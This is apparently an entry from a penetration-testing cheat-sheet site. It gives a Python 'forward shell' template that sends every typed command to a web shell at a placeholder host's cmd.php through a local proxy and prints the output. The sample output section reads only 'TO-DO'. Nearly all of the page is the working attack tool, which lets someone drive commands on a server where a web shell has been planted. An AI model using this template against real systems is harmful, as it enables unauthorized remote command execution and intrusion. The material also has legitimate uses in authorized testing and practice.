Usage Tips:
- Click on a keyword to enable inline editing.
- Click inside a code block to copy (excludes comments).
- Use the button to view examples.
- Click outside to collapse all examples.
Python Forward Shell Template
#!/usr/bin/env python3
from cmd import Cmd
import requests
class Term(Cmd):
prompt = "shell> "
def default(self, args):
response = requests.get("http://example.com/cmd.php", params = {"cmd": args}, proxies={"http":"http://127.0.0.1:8080"})
print(response.text)
term = Term()
term.cmdloop()
Sample Output:
TO-DO